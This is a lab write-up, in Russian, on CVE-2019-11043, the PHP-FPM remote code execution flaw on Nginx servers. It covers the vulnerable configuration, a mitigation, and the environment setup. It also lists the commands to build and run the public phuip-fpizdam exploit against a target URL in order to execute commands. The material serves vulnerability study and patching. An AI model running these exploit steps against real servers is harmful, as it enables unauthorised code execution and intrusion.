
CVE-2019-11043 PHP远程代码执行
26 сентября PHP официально опубликовал уведомление об уязвимости, в котором указано, что на серверах, использующих Nginx + php-fpm, при определенных конфигурациях существует уязвимость удаленного выполнения кода. Данная конфигурация широко используется, поэтому угроза велика.
PoC уязвимости был опубликован 22 октября, и отечественные СМИ по безопасности своевременно выпустили предупреждения.
При обработке запроса, содержащего %0a, в Nginx через fastcgi_split_path_info из-за символа новой строки \n PATH_INFO становится пустым. В то же время php-fpm имеет логический дефект при обработке пустого PATH_INFO. Злоумышленник может добиться удаленного выполнения кода путем тщательного конструирования и использования.
На серверах Nginx + php-fpm при использовании следующей конфигурации существует вероятность уязвимости удаленного выполнения кода.
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Без ущерба для нормальной работы удалите из конфигурационного файла Nginx следующие строки:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
github: https://github.com/neex/phuip-fpizdam
Данный POC использует оптимизацию в переменной FastCGI _fcgi_data_seg, которая доступна только в PHP 7, поэтому опубликованный эксплойт работает только в среде PHP 7. Для PHP 5 требуется другой эксплойт.
Настройка окружения, развертывание nginx + php-fpm, проверка работоспособности.
Скачать php7, распаковать и перейти в каталог
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
Установить зависимости: сжатие, ssl и т.д.
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
configure, скомпилировать исходный код
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
Настроить php-fpm. Если настраивается несколько PHP, можно изменить порт 9000 на 9001.
Редактирование конфигурационного файла php-fpm:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
Убрать точку с запятой перед pid = run/php-fpm.pid
$ cd php-fpm.d
$ cp www.conf.default www.conf (изменить порт)
$ vi www.conf
Изменить user и group на не-root пользователя
В nginx.cof добавить следующую конфигурацию:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
Перезапустить nginx.
Установить go, скомпилировать POC
go get github.com/neex/phuip-fpizdam(файлы загружаются в каталог src go)
go build github.com/neex/phuip-fpizdam(полный путь, в текущем каталоге будет создан исполняемый файл)
Запустить POC
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[К сожалению, из-за проблем с настройкой окружения, верификация не удалась]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
Оригинальная ссылка: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
Скачать файлы данного docker-проекта
docker-compose up -d запустить docker-контейнер

Запустить программу, отображается успешное выполнение. Использовать уязвимость для выполнения команды "id"


Остановить docker-сервис
docker ps
docker stop id
./php-fpm